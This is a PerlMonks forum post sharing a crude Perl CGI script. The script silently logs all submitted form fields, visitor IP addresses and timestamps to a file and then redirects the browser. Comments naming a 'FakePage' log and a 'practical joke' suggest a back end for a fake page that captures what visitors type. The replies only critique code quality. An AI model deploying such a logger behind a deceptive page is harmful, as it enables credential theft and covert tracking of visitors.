Beefy Boxes and Bandwidth Generously Provided by pair Networks
go ahead... be a heretic
 
PerlMonks  

Red_V0.1.cgi

by TheRealNeO (Initiate)
on Aug 30, 2008 at 09:23 UTC ( #707898=sourcecode: print w/replies, xml ) Need Help??
Category: Web Stuff
Author/Contact Info jamesradis@hotmail.com http://insecureplace.890m.com
Description: This script should be used on a webserver tested on apache,It has been designed to be multi purpose as at can be used for logging form data or with some small modification people who enter your page. Also it looks better in kwrite than on this page
#!/usr/bin/perl


######################################################################
+##########
# Red.cgi   V0.1                                                      
+        #
#                                                                     
+        #
#By James R Addis (jamesradis@hotmail.com)                            
+        #
#                                                                     
+        #
#Created as part of a home project and a practical joke ;>            
+       #Please contact me if you have any questions about this #small
+ program     
#To be used on a webserver and with a webpage with forms if #you have 
+ 
#a good idea of html ect you will know how to make it all #work       
+                                                                     
+ #
# chmod +x this file and stick it in your cgi-bin directory           
+        
#                                                                     
+ 
######################################################################
+##########
# Set-up / Varible Settings                                           
+        #                                                            
+                 #
#$Redirect = "http://192.168.1.1/redirect.htm"; # Direct to #url after
+ runing   ##
#$File     = '>>/tmp/FakePage.txt';           # Where to #save data   
+          ##
#$LogTime  = 1    ;#What time data came in: 1=ON 0=OFF                
+         #  
#$LogIP    = 1    ;#What ip did data come from: 1=ON 0=OFF            
+            #                                                        
+  #
######################################################################
+#########



{# Main Gubins of the program 
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
    ($name, $value) = split(/=/, $pair);
    $value =~ tr/+/ /;
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
    $FORM{$name} = $value;
}}
{#Logging switches
$apple1 = 1;
if ($apple1 == $LogTime){
$timestamp = scalar(localtime);
}else{
$timestamp = Offline;
}
$apple2 =1;
if ($apple2 == $LogIP){
$Poster= $ENV{REMOTE_ADDR};
}else{
$Poster = Offline;
}
}
{# Logging data
open (MYFILE, '>>/tmp/fake.txt');
print MYFILE "Logged at: $timestamp\n";
print MYFILE "Originated from:$Poster\n\n";
foreach $key (keys(%FORM)) {
print MYFILE "$key = $FORM{$key}\n";
print MYFILE "------------------------------------------\n";
}
{# URL lark
print "Location: $Redirect\n\n"; #go to url
}}
 
exit;

Replies are listed 'Best First'.
Re: Red_V0.1.cgi
by Anonymous Monk on Aug 30, 2008 at 10:18 UTC
    Ouch, thats some rough code ( kwrite won't make it look better).

    You need to use abandon that old %FORM code, and instead use CGI or CGI::Simple

    You also need to add error checking (open (...) or die ("oh noes... $!")

Re: Red_V0.1.cgi
by SFLEX (Chaplain) on Aug 30, 2008 at 13:04 UTC
    I would add a write lock to your database and check the length of the Data being stored, so your program doesn't try to log anything over 1gb or so.
      Cheers there guys it dose look clean on my system i will take note of your comments i am also fairly new to programing
Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: sourcecode [id://707898]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others lurking in the Monastery: (9)
As of 2019-12-10 10:46 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found

    Notices?